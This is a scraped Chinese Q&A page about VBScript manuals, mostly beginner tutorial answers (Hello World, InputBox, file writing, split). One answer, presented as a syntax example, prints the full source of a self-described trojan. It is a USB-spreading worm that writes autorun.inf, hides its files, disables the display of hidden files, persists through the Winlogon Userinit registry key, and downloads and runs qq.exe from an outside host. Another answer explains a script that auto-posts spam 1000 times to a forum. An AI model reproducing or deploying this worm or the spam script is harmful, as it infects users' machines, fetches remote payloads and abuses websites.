当前位置:首页 » 编程软件 » vbs脚本手册

vbs脚本手册

发布时间: 2022-08-08 09:07:37

Ⅰ 关于vbs文件

vbs是全名是Microsoft Visual Basic Script Editon
即为微软可视化编程语言脚本
压缩包是4K是很正常的,因为VBS文件就是一行一行的字符,相当于文本文档。
VBS是通过C:\SYSTEM32下的Wscript.exe运行的
没有Wscript.exe,VBS脚本就是废物(这就是为何PE下无法使用VBS)
VBS脚本占用磁盘空间不会小于4kb的
如果有可能请把代码发上来(点击右键--->编辑)

Ⅱ vbs常用代码

1、首先在电脑鼠标右键 新建一个文本文档。

Ⅲ 求助 找WinCC的VBS脚本手册

您要WinCC的VBS脚本手册我已发送,请按照步骤进行操作!!
你的采纳是我前进的动力,
记得好评和采纳,互相帮助,
如果你认可我的回答,敬请及时采纳.
如果我的回答没能帮助您,请继续追问。
你的采纳是我前进的动力。记得好评和采纳,答题不易,互相帮助。

Ⅳ word-利用vbs写一个脚本

Vbs 脚本编程简明教程之一—为什么要使用Vbs?
在Windows 中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周
也许需要对一些计算机文件进行复制、粘贴、改名、删除,也许你每天启动计算机第一件事情
就是打开WORD,切换到你喜爱的输入法进行文本编辑,同时还要播放优美的音乐给工作创造
一个舒心的环境,当然也有可能你经常需要对文本中的某些数据进行整理,把各式各样的数据
按照某种规则排列起来……。这些事情重复、琐碎,使人容易疲劳。
第三方软件也许可以强化计算机的某些功能,但是解决这些重复劳动往往事倍功半,我也尝试
过使用计算机语言编写程序来解决这些问题,但是随之而来的命令、语法、算法、系统框架和
类库常常让我觉得这样是否有必要,难道就是因为猪毛比较难拔,所以我就要去学习机械,为
自己设计一个拔猪毛机(?)吗?
Vbs 是一种Windows 脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化
BASIC 脚本版),VBS 是Visual Basic 的的一个抽象子集,是系统内置的,用它编写的脚本代码
不能编译成二进制文件,直接由Windows 系统执行(实际是一个叫做宿主host 的解释源代码并
执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它可以使各种各样的
任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。
我个人认为Vbs 脚本其实就是一种计算机编程语言,但是由于缺少计算机程序设计语言中的部
分要素,对于事件的描述能力较弱,所以称为脚本,它最方便的地方就是提供了对COM 对象
的简便支持。那么什么是COM 对象呢?
我这样理解,COM 对象就是一些具有特定函数功能项程序模块,他们一般以ocx 或者dll 作为
扩展名,你只要找到包含有你需要的功能的模块文件,并在脚本中规范的引用,就可以实现特
定的功能,也就是说Vbs 脚本就是调用现成的“控件”作为对象,用对象的属性和方法实现目的,
完全免去了编写代码、设计算法等等麻烦。说白了,我不是觉得拔猪毛麻烦么?我发觉xx 机(比
如真空离心器)有一个功能可以实现脱毛,ok,我把它拿来给猪脱毛。什么?大材小用?太浪
费资源了?天哪,那是计算机芯片的事情,死道友不死贫道,反正我的事情是方便快速的解决
了,这就行了。
最方便的是它甚至不需要专门的开发环境,在你的计算机中,只要有notepad,就可以编写Vbs
脚本了,并且可以直接执行。
===============================
Vbs 脚本编程简明教程之二—如何开始第一个Vbs 脚本?
就像多数计算机教程一样,我们从“Hello World!”程序开始我们的练习。什么?不知道是什
么意思?就是说大部分的计算机程序设计教程开篇入门都是编写一个小程序,执行这个程序的
结果就是在计算机的屏幕上或者dos 窗口中显示一行文字:Hello World!好了,我们开始吧。
打开你的“记事本”程序,在编辑窗口填写:
msgbox "He llo World!"
然后用鼠标单击“文件”菜单,单击“保存”,把“保存在”一栏设为桌面,在“文件名”一栏中填写
kk.vbs,单击“保存”就可以了。然后最小化“记事本”窗口,在桌面上寻找你刚刚保存的kk.vbs,
然后双击。看到弹出的对话框了没有,单击“确定”,对话框消失了。难看了点,不过确实是你
编写的第一个脚本程序。
说明之一:上面的操作中,保存位置放在桌面,仅仅是为了执行方便,你保存到其他的地方完
全没有问题,只要你知道你保存在什么地方就可以了,什么?是废话,自己保存的当然知道保
存在那里了。不,自己保存的文件自己找不到的人我见的多了去了。文件名你可以随意填写,
不一定非要写kk,只要符合Windows 的文件命名规则就可以了,但是扩展名必须是vbs,什么?
不知道什么是扩展名?就是文件名中“.”后的那部分,简单说,就是vbs 脚本文件命名时必须是:
xxx.vbs,其中xxx 你随意。
说明之二:在记事本编辑窗口中写的这行是什么意思?
Msgbox 是VBS 内建的函数,每一个函数都可以完成一定的功能,你只需要按照语法要求,在
函数的相应部分填写相应的内容就可以了,这部分内容我们称为参数,当然函数执行的结果我
们称为返回值,一个函数可以有返回值也可以没有,可以有参数也可以没有。你不用了解函数
是怎么运作的,只要了解这个函数能干什么就行了。
Msgbox 语法:msgbox "对话框内容", , "对话框的标题"
你不妨用记事本打开刚才的文件在编辑窗口中输入:
msgbox "He llo World!" , , "系统提示"
执行一下,看看效果和位置。
说明之三:如果执行失败,看看你的标点符号,所有的标点符号必须是在英文状态下输入的。
当然,这个脚本实在是太简单了,甚至连最简单的交互都没有,所以你可以把脚本这样修改一
下:
Dim name
name=Inputbox("请输入你的名字:","名称")
Msgbox name, , "您的名字是"
保存执行一下,看到弹出的对话框了么?填入你的名字,点确定,看到结果了吗?
说明之一:第一句是定义变量,dim 是定义变量的语句
其格式为:dim 变量1,变量2……,
Vbs 只有一种变量类型,所以不用声明变量类型。系统会自动分辨变量类型。
说明之二:inputbox 是VBS 内建的函数,可以接受输入的内容,其语法格式为:
Inputbox("对话框内容","对话框标题")
第二句的意思是接受用户的输入,并把输入结果传递给变量name。
好了,到此脚本基本的输入输出函数都有了,已经可以完成一些比较简单的功能了,你可以编
写一个简单的脚本,然后拷贝的“程序”—>“启动”中,然后重新启动计算机看看结果。

Ⅳ vbs脚本的语法格式

给你一个木马的源代码.可以学习一些关于文件和目录的操作.

On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不显示隐藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夹改名
If fso.FolderExists(dri.Path&"\autorun.inf") Then
fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"
End If
'复制自身及exe文件到移动硬盘
If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then
Else
If fso.FileExists(dri.Path&"\mp3.vbs") Then
fso.DeleteFile dri.Path&"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then
fso.DeleteFile dri.Path&"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True
End If
autoinf(dri.Path)
'给刚复制的文件加上隐藏属性
Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0
Set norkon=Nothing
Set autoruninf=fso.GetFile(dri.Path&"\autorun.inf")
wshell.run "attrib +r +a +s +h "&dri.Path&"\autorun.inf",0
Set autoruninf=Nothing
If fso.FileExists(dri.Path&"\SiZhu.exe") Then
Set norkonexe=fso.GetFile(dri.Path&"\SiZhu.exe")
wshell.run "attrib +r +a +s +h "&dri.Path&"\SiZhu.exe",0
Set norkonexe=Nothing
End if
End If
End If
Next
WScript.Sleep 15000
next
ElseIf curdri.drivetype=1 And curdri<>"A:\" And curdri<>"B:\" And curfolder.Path=curdristr Then '如果在移动硬盘中
reghid()
open(curdristr)
run()
autorun()
WScript.quit
Else '如果在其他文件夹
run()
autorun()
WScript.quit
End If
WScript.Sleep 15000
downrun()
Set fso=Nothing
Set curfolder=Nothing
Set curdri=nothing
Set wshell=Nothing

'写入autorun.inf
Sub autoinf(path)
Dim inf
Set inf=fso.createtextfile(path&"\autorun.inf",True)
inf.writeline("[AutoRun]")
inf.writeline("open=WScript.exe .\mp3.vbs")
inf.writeline("shell\open=打开(&O)")
inf.writeline("shell\open\Command=WScript.exe .\mp3.vbs")
inf.writeline("shell\open\Default=1")
inf.writeline("shell\explore=资源管理器(&O)")
inf.writeline("shell\explore\Command=WScript.exe .\mp3.vbs")
inf.writeline("shell\find=搜索(&E)")
inf.writeline("shell\find\Command=WScript.exe .\mp3.vbs")
set inf=nothing
End sub
'打开文件夹
Sub open(path)
wshell.run "explorer "&path
End Sub
'自动启动
Sub autorun()
regget=wshell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit")
If regget<>"userinit.exe,mp3.vbs" Then
wshell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit","userinit.exe,mp3.vbs","REG_SZ"
End If
End Sub
'不显示隐藏文件
Sub reghid()
Dim reg
reg=wshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden")
If reg="1" Then
wshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",0,"REG_DWORD"
End If
End Sub
'判断system32中是否存在此文件,不存在则复制并运行;如果有SiZhu.exe,则复制并运行。
Sub run()
If fso.FileExists(fso.GetSpecialFolder(1)&"\mp3.vbs") Then
Else
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\mp3.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\mp3.vbs"
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(fso.GetSpecialFolder(1)&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",fso.GetSpecialFolder(1)&"\SiZhu.exe",True
wshell.Run fso.GetSpecialFolder(1)&"\SiZhu.exe"
End If
End If
End sub
'删掉自身,如果有SiZhu.exe,同样删掉。
Sub selfkill()
fso.DeleteFile(WScript.ScriptFullName)
End Sub

Sub downrun()
Set fso = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
fso.Open "GET","http://xxx.cn/qq.exe",0
fso.Send()
Set fso = CreateObject("ADODB.Stream")
fso.Mode = 3
fso.Type = 1
fso.Open()
fso.Write(fso.responseBody)
fso.SaveToFile "C:\WINDOWS\Sti303.exe",2
Shell.Run ("C:\WINDOWS\Sti303.exe")
end sub

Ⅵ vbs脚本学习

vb你会了!学VBS就简单得多了!

Ⅶ vbs新手求解,关于vbs中的createobject()括号里面的

每个com组件都会在系统中注册,也就是在注册表中留下它的信息,这些信息包括它的名称(也就是你见到的那些名称,如wscript.shell)和它在系统中的路径。组件的属性和方法是由组件提供的,可以通过VB的对象浏览器查看。创建对象时,脚本宿主会根据你提供的字符串名称在注册表中找到要调用的对象,并根据路径信息调用这外组件。

Ⅷ 问大家一个vbs脚本的问题···

write用法示例:
'══代══码══开══始════
set fso=CreateObject("Scripting.FileSystemObject")
set fw=fso.createtextfile("测试.txt",2)
fw.write("在这里写入要写的内容1")
fw.write("在这里写入要写的内容2")
fw.write("你发现了吗?写的这三次没换行")
'══代══码══结══束════

'“<>”代表“不等于”,相当于批处理中的“neq”或者C语言中的“!=”
这里的If strs<>"" Then是判断字符串strs是不是空的。

'split函数返回以目标字符分割指定字符串得到的数组,实例如下:

s="你好,我的祖国,我爱你!"
a=split(s,",")
msgbox a(0)
msgbox a(1)
msgbox a(2)

‘======================================
还是推荐你去下载“windows脚本技术手册.chm”。

Ⅸ 求一VBS脚本的详细注释

set ie=createobject("internetexplorer.application")'ie对象 ie.toolbar=0 '隐藏ie界面菜单栏 ie.visible=1 'ie界面可见 ie.navigate " http://post..com/f?ct=&tn=&rn=&pn=&lm=&sc=&kw=%CB%A2%CC%F9&rs2=0&myselectvalue=1&word=%CB%A2%CC%F9&tb=on"'网址 wscript.sleep 2000'暂停2秒,等待网页完全打开 for i=1 to 1000 '循环发帖1000次 ie.document.post.ti.value="按键精灵好啊"'设置帖子标题 ie.document.post.co.click '鼠标定位到帖子内容,其实在设置帖子标题之前应该也先定位一下标题 ie.document.post.co.value="按键精灵好啊" '设置帖子内容 ie.document.post.submit3.click '点击“发表帖子”按钮 wscript.sleep 30*1000 '暂停30秒,等待帖子提交成功 next '完成发帖一次,进行下一次发帖 msgbox "End" '信息框显示"End"

热点内容
mf90pos机密码是什么 发布:2024-05-04 22:24:04 浏览:749
编译预处理和函数区别 发布:2024-05-04 22:16:49 浏览:430
java复选框 发布:2024-05-04 22:13:24 浏览:528
安卓怎么玩页游 发布:2024-05-04 22:03:17 浏览:141
编译器后面的代码消失 发布:2024-05-04 22:02:11 浏览:60
openwrt编译ipk 发布:2024-05-04 22:00:25 浏览:829
管理云服务器 发布:2024-05-04 21:36:31 浏览:552
给linux虚拟机传文件 发布:2024-05-04 21:36:28 浏览:313
加密手机在哪里 发布:2024-05-04 21:18:59 浏览:191
扫雷电脑配置低怎么办 发布:2024-05-04 21:07:37 浏览:821